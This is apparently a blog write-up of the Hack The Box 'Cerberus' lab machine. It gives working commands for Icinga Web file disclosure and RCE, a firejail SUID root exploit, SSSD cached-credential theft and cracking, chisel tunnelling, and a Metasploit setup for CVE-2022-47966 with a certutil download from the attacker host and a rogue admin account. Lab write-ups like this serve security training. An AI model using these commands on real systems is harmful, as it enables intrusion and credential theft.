Ctf
Htb Walkthrough
Cerberus
Ctf Walkthrough
Hackthebox

Hack The Box | Cerberus

hx101

8 min readJul 31, 2023

Cerberus is a hard rated box involves exploiting icinga with Arbitrary File Disclosure and Authenticated Remote Code Execution from there found sssd cache credentials to authenticate to AD created a socks proxy and to gain Admin access exploit ADSelfService Plus with CVE-2022–47966.

Nmap

>>> Starting nmap
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-29 03:35 EDT
Nmap scan report for 10.10.11.205
Host is up (0.086s latency).

PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Did not follow redirect to http://icinga.cerberus.local:8080/icingaweb2
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.55 seconds

Add domain icinga.cerberus.local to hosts file.

icinga Web Login

From google found two CVE’s CVE-2022-24715 and CVE-2022-24716

CVE-2022–24715 : Icinga Web 2.10 — Authenticated Remote Code Execution
CVE-2022–24716 : Icinga Web 2.10 — Arbitrary File Disclosure

Arbitrary File Disclosure

$ curl http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
matthew:x:1000:1000:matthew:/home/matthew:/bin/bash
ntp:x:108:113::/nonexistent:/usr/sbin/nologin
sssd:x:109:115:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
nagios:x:110:118::/var/lib/nagios:/usr/sbin/nologin
redis:x:111:119::/var/lib/redis:/usr/sbin/nologin
mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false
icingadb:x:999:999::/etc/icingadb:/sbin/nologin

Icinga database Creds

https://icinga.com/docs/icinga-web/2.6/doc/04-Resources/

https://icinga.com/docs/icinga-web/latest/doc/05-Authentication/

$ curl http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/icingaweb2/resources.ini

[icingaweb2]
type = "db"
db = "mysql"
host = "localhost"
dbname = "icingaweb2"
username = "matthew"
password = "IcingaWebPassword2023"
use_ssl = "0"

Successfully Login with matthew:IcingaWebPassword2023

Exploiting ICINGA

https://exploit-notes.hdks.org/exploit/web/icinga-web-pentesting/

$ ssh-keygen -m pem
#  cert.pem
# Passphrase: (empty)

# Exploit: https://github.com/JacobEbben/CVE-2022-24715/blob/main/exploit.py
$ python3 icinga-rce.py -t http://icinga.cerberus.local:8080/icingaweb2/ -u matthew -p 'IcingaWebPassword2023' -e cert.pem -I 10.10.14.5 -P 9001

Linux Priv Esc

With linpeas found /usr/bin/firejail (Unknown SUID binary!) , another interface 172.16.22.2 and SSSD is configured read more about SSSD here

                      ╔════════════════════════════════════╗
  ═════════════════════╣Files with Interesting Permissions ╠═════════════════════
                      ╚════════════════════════════════════╝
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
strace Not Found

-rwsr-xr-x 1 root root 464K Jan 19  2022 /usr/bin/firejail (Unknown SUID binary!)

Google firejail suid exploit lead me to this exploit.

https://gist.github.com/GugSaas/9fb3e59b3226e8073b3f8692859f8d25

Exploit Firejail suid

chmod +x firejail.py
./firejail.py
firejail --join=<pid>
su
id

With ARP Found (dc.cerberus.local )

root@icinga:/# arp -a
DC.cerberus.local (172.16.22.1) at 00:15:5d:5f:e8:00 [ether] on eth0

SSSD Cache Creds

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-active-directory

Get hx101’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

but didn’t found /var/lib/sss/secrets/.secrets.mkey file. On google search sssd cache credentials found this

root@icinga:/var/lib/sss/db# ls -la
total 5036
drwx------  2 root root    4096 Mar  2 12:33 .
drwxr-xr-x 10 root root    4096 Jan 22  2023 ..
-rw-r--r--  1 root root 1286144 Jul 30 11:45 cache_cerberus.local.ldb
-rw-------  1 root root    2715 Mar  2 12:33 ccache_CERBERUS.LOCAL
-rw-------  1 root root 1286144 Jul 30 11:51 config.ldb
-rw-------  1 root root 1286144 Jan 22  2023 sssd.ldb
-rw-r--r--  1 root root 1286144 Mar  1 12:07 timestamps_cerberus.local.ldb
root@icinga:/var/lib/sss/db#                             
root@icinga:/var/lib/sss/db# cp cache_cerberus.local.ldb /usr/share/icingaweb2/public/
root@icinga:/var/lib/sss/db#
root@icinga:/var/lib/sss/db#
root@icinga:/var/lib/sss/db# rm /usr/share/icingaweb2/public/cache_cerberus.local.ldb

$ wget http://icinga.cerberus.local:8080/icingaweb2/cache_cerberus.local.ldb

Using this script extract sssd creds :https://github.com/ricardojoserf/SSSD-creds/tree/main

John To Crack Hash

hx34@kali:~/HTB/windows/Cerberus$ john hashes.txt --wordlist /usr/share/wordlists/rockyou.txt

hx34@kali:~/HTB/windows/Cerberus$ john hashes.txt --show
matthew@cerberus.local:147258369
1 password hash cracked, 0 left

Chisel Proxy

chisel server -p 1080 --reverse &

For Client:
./chisel-linux-amd client 10.10.14.15:1080 R:socks:1337 &

Nmap On 172.16.22.1 (dc.cerberus.local)

proxychains4 -q nnmap -T4 -p1-10000 172.16.22.1

Evil Winrm On dc.cerberus.local

hx34@kali:~$ proxychains4 -q evil-winrm -i 172.16.22.1  -u matthew -p 147258369

*Evil-WinRM* PS C:\Users\matthew\Documents> whoami
cerberus\matthew
*Evil-WinRM* PS C:\Users\matthew\Desktop> ls
    Directory: C:\Users\matthew\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        7/29/2023  12:27 AM             34 user.txt

Create Another Proxy to DC

start-job -ScriptBlock { C:\Users\matthew\Documents\chisel.exer client 10.10.14.37:1080 R:1339:socks }

hx34@kali:~/HTB/windows/Cerberus$ cat /etc/proxychains4.conf|grep 133
# socks5 127.0.0.1 1337  --> This for icinga 
socks5 127.0.0.1 1339   # --> this for dc.cerberus.local

*Evil-WinRM* PS C:\Users> netstat -ano -p tcp
Found multiple open but didn't what services are running on it tasklist didn't show much
so tried nmap to find services.

NMAP On dc.cerberus.local

$ cat dc_ports.txt|grep TCP|awk '{print $2}' | awk -F ':' '{print $2}'|xargs |sed 's/ /,/g'
80,88,135,389,443,445,464,593,636,808,1500,1501,2179,3268,3269,5985,8888,9251,9389,47001,49664,49665,49666,49667,49685,49686,49691,49919,49929,49935,59017

$ proxychains4 -q nmap -T4 -sV -sC -p80,88,135,389,443,445,464,593,636,808,1500,1501,2179,3268,3269,5985,8888,9251,9389,47001,49664,49665,49666,49667,49685,49686,49691,49919,49929,49935,59017 127.0.0.1
Nmap scan report for localhost (127.0.0.1)
Host is up (0.47s latency).
PORT      STATE SERVICE           VERSION
80/tcp    open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2023-07-31 17:43:44Z)
135/tcp   open  msrpc?
389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: cerberus.local0., Site: Default-First-Site-Name)
|_ssl-date: 2023-07-31T17:52:26+00:00; -15s from scanner time.
| ssl-cert: Subject: commonName=dc.cerberus.local
| Subject Alternative Name: DNS:dc.cerberus.local, DNS:dc, DNS:certauth.dc.cerberus.local
| Issuer: commonName=cerberus-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-01-30T13:07:19
| Not valid after:  2025-01-30T13:17:19
| MD5:   0d1e723a745cf1ba09a97ee1bab3d20a
|_SHA-1: 2fb8bbb8abe29bd70f0a652e40549112d104ad28
443/tcp   open  https?
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldapssl?
| ssl-cert: Subject: commonName=dc.cerberus.local
| Subject Alternative Name: DNS:dc.cerberus.local, DNS:dc, DNS:certauth.dc.cerberus.local
| Issuer: commonName=cerberus-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-01-30T13:07:19
| Not valid after:  2025-01-30T13:17:19
| MD5:   0d1e723a745cf1ba09a97ee1bab3d20a
|_SHA-1: 2fb8bbb8abe29bd70f0a652e40549112d104ad28
|_ssl-date: 2023-07-31T17:52:15+00:00; -7s from scanner time.
808/tcp   open  ccproxy-http?
1500/tcp  open  vlsi-lm?
1501/tcp  open  sas-3?
2179/tcp  open  vmrdp?
3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: cerberus.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.cerberus.local
| Subject Alternative Name: DNS:dc.cerberus.local, DNS:dc, DNS:certauth.dc.cerberus.local
| Issuer: commonName=cerberus-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-01-30T13:07:19
| Not valid after:  2025-01-30T13:17:19
| MD5:   0d1e723a745cf1ba09a97ee1bab3d20a
|_SHA-1: 2fb8bbb8abe29bd70f0a652e40549112d104ad28
|_ssl-date: 2023-07-31T17:52:27+00:00; -14s from scanner time.
3269/tcp  open  globalcatLDAPssl?
|_ssl-date: 2023-07-31T17:52:42+00:00; -3s from scanner time.
| ssl-cert: Subject: commonName=dc.cerberus.local
| Subject Alternative Name: DNS:dc.cerberus.local, DNS:dc, DNS:certauth.dc.cerberus.local
| Issuer: commonName=cerberus-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-01-30T13:07:19
| Not valid after:  2025-01-30T13:17:19
| MD5:   0d1e723a745cf1ba09a97ee1bab3d20a
|_SHA-1: 2fb8bbb8abe29bd70f0a652e40549112d104ad28
5985/tcp  open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8888/tcp  open  sun-answerbook?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 302 Found
|     Cache-Control: private
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Location: https://localhost:9251/
|     Content-Length: 0
|     Date: Mon, 31 Jul 2023 17:43:44 GMT
|_    Connection: close
9251/tcp  open  unknown
| ssl-cert: Subject: commonName=cerberus.local/organizationName=CE/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:cerberus.local
| Issuer: commonName=ManageEngine ADSelfService Plus/organizationName=ManageEngine Zoho Corporation/stateOrProvinceName=CA/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-01-29T19:26:48
| Not valid after:  2043-01-23T19:26:48
| MD5:   520f7c21072a787bd5740d1094ae11ff
|_SHA-1: 56a4c9172b7a0fad79b7390aaffbbfcf8a6adade
|_ssl-date: 2023-07-31T17:52:15+00:00; -7s from scanner time.
9389/tcp  open  adws?
47001/tcp open  winrm?
| fingerprint-strings:
|   JavaRMI:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/html; charset=us-ascii
|     Server: Microsoft-HTTPAPI/2.0
|     Date: Mon, 31 Jul 2023 17:43:44 GMT
|     Connection: close
|     Content-Length: 326
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
|     <HTML><HEAD><TITLE>Bad Request</TITLE>
|     <META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
|     <BODY><h2>Bad Request - Invalid Verb</h2>
|     <hr><p>HTTP Error 400. The request verb is invalid.</p>
|_    </BODY></HTML>
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49685/tcp open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
49686/tcp open  unknown
49691/tcp open  unknown
49919/tcp open  msrpc             Microsoft Windows RPC
49929/tcp open  msrpc             Microsoft Windows RPC
49935/tcp open  unknown
59017/tcp open  unknown
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8888-TCP:V=7.93%I=7%D=7/31%Time=64C7F2D8%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,C4,"HTTP/1\.1\x20302\x20Found\r\nCache-Control:\x20private\r\n
SF:Expires:\x20Thu,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nLocation:\x
SF:20https://localhost:9251/\r\nContent-Length:\x200\r\nDate:\x20Mon,\x203
SF:1\x20Jul\x202023\x2017:43:44\x20GMT\r\nConnection:\x20close\r\n\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port47001-TCP:V=7.93%I=7%D=7/31%Time=64C7F2D9%P=x86_64-pc-linux-gnu%r(J
SF:avaRMI,1F9,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
SF:/html;\x20charset=us-ascii\r\nServer:\x20Microsoft-HTTPAPI/2\.0\r\nDate
SF::\x20Mon,\x2031\x20Jul\x202023\x2017:43:44\x20GMT\r\nConnection:\x20clo
SF:se\r\nContent-Length:\x20326\r\n\r\n<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-/
SF:/W3C//DTD\x20HTML\x204\.01//EN\"\"http://www\.w3\.org/TR/html4/strict\.
SF:dtd\">\r\n<HTML><HEAD><TITLE>Bad\x20Request</TITLE>\r\n<META\x20HTTP-EQ
SF:UIV=\"Content-Type\"\x20Content=\"text/html;\x20charset=us-ascii\"></HE
SF:AD>\r\n<BODY><h2>Bad\x20Request\x20-\x20Invalid\x20Verb</h2>\r\n<hr><p>
SF:HTTP\x20Error\x20400\.\x20The\x20request\x20verb\x20is\x20invalid\.</p>
SF:\r\n</BODY></HTML>\r\n");
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
|   date: 2023-07-31T17:48:23
|_  start_date: N/A
| smb2-security-mode:
|   311:
|_    Message signing enabled and required
|_clock-skew: mean: -8s, deviation: 4s, median: -7s

Port 8888 looks interesting add 127.0.0.1 dc.cerberus.local in hosts file and visit http://127.0.0.1:8888 it redirects to port 9251 and from there to dc.cerberus.local/adfs/ls/?SAMLRequest= also edit foxyproxy to 1339

also during enumeration for privesc found ADselfService is running

CVE-2022–47966 ( ManageEngine ADSelfService Plus Unauthenticated SAML RCE )

Search exploits for ADSelfService Plus found unauthenticated RCE

tried login with matthew username and password and got unauthorize but found guid in url

search adfs issuer url on google got the issuer URL but https not working so use http

#in metasploit 

set guid 67a8d101690402dc6a6744b8fc8a7ca1acf88b2f
set issuer_url http://dc.cerberus.local/adfs/services/trust
set lhost tun0
set srvhost tun0
set srvport 8080
set issuer_url http://dc.cerberus.local/adfs/services/trust
set rhosts dc.cerberus.local
set payload cmd/windows/powershell/exec
set cmd certutil -urlcache -f http://10.10.14.37:8080/exploit
set AutoCheck False


$ python3 -m http.server 8080

Add User

set payload cmd/windows/adduser
set user hx34
set pass Pass@123

proxychains4 -q cme smb dc.cerberus.local
$ proxychains4 -q cme smb dc.cerberus.local -u hx34 -p 'Pass@123'
SMB         dc.cerberus.local 445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:cerberus.local) (signing:True) (SMBv1:False)
SMB         dc.cerberus.local 445    DC               [+] cerberus.local\hx34:Pass@123 (Pwn3d!)

Shell As System

hx34@kali:~$ proxychains4 -q impacket-psexec dc.cerberus.local\/hx34:'Pass@123'@127.0.0.1

Hack The Box | Cerberus

Nmap

icinga Web Login

Arbitrary File Disclosure

Icinga database Creds

Exploiting ICINGA

Linux Priv Esc

Exploit Firejail suid

With ARP Found (dc.cerberus.local )

SSSD Cache Creds

Get hx101’s stories in your inbox

John To Crack Hash

Chisel Proxy

Nmap On 172.16.22.1 (dc.cerberus.local)

Evil Winrm On dc.cerberus.local

Create Another Proxy to DC

NMAP On dc.cerberus.local

CVE-2022–47966 ( ManageEngine ADSelfService Plus Unauthenticated SAML RCE )

Add User

Shell As System

Written by hx101

No responses yet

More from hx101

Hack The Box | MonitorTwo

MonitorsTwo is an easy rated from Hack The Box which has Cacti Version 1.2 vulnerable to Command injection leaking the mysql password from…

Hack The Box | Busqueda

Busqueda is an easy rated box on HTB which involves Command injection in searcher 2.4, leaking user creds via .git/config, reusing…

Hack the Box | Agile

Agile is a medium rated box on HTB which is running flask also enable debug mode and pin protected console bypass the pin restriction using

Hack The Box | Silo

Silo medium rated machine involving brute force password exploiting oracle database, enumerate violatility3 memory dump and has…

Recommended from Medium

Footprinting

Host Based Enumeration

Touch Machine (HackTheBox)

Introduction

Management — HTB Write-up

Difficulty: Easy OS: Linux

Puppet Pro Lab Writeup

Platform: HTB / Vulnlab | Difficulty: Advanced | Category: Active Directory / sliver C2 Operations / Red Team | Flags: 4/4 | Author…

Pivotshelf — Writeup HTB

Pivotshelf — Writeup HTB

Break Out The Cage: TryHackMe Walkthrough

Difficulty: Easy

No responses yet

More from hx101

Hack The Box | MonitorTwo

MonitorsTwo is an easy rated from Hack The Box which has Cacti Version 1.2 vulnerable to Command injection leaking the mysql password from…

Hack The Box | Busqueda

Busqueda is an easy rated box on HTB which involves Command injection in searcher 2.4, leaking user creds via .git/config, reusing…

Hack the Box | Agile

Agile is a medium rated box on HTB which is running flask also enable debug mode and pin protected console bypass the pin restriction using

Hack The Box | Silo

Silo medium rated machine involving brute force password exploiting oracle database, enumerate violatility3 memory dump and has…

Recommended from Medium

Footprinting

Host Based Enumeration

Touch Machine (HackTheBox)

Introduction

Management — HTB Write-up

Difficulty: Easy OS: Linux

Puppet Pro Lab Writeup

Platform: HTB / Vulnlab | Difficulty: Advanced | Category: Active Directory / sliver C2 Operations / Red Team | Flags: 4/4 | Author…

Pivotshelf — Writeup HTB

Pivotshelf — Writeup HTB

Break Out The Cage: TryHackMe Walkthrough

Difficulty: Easy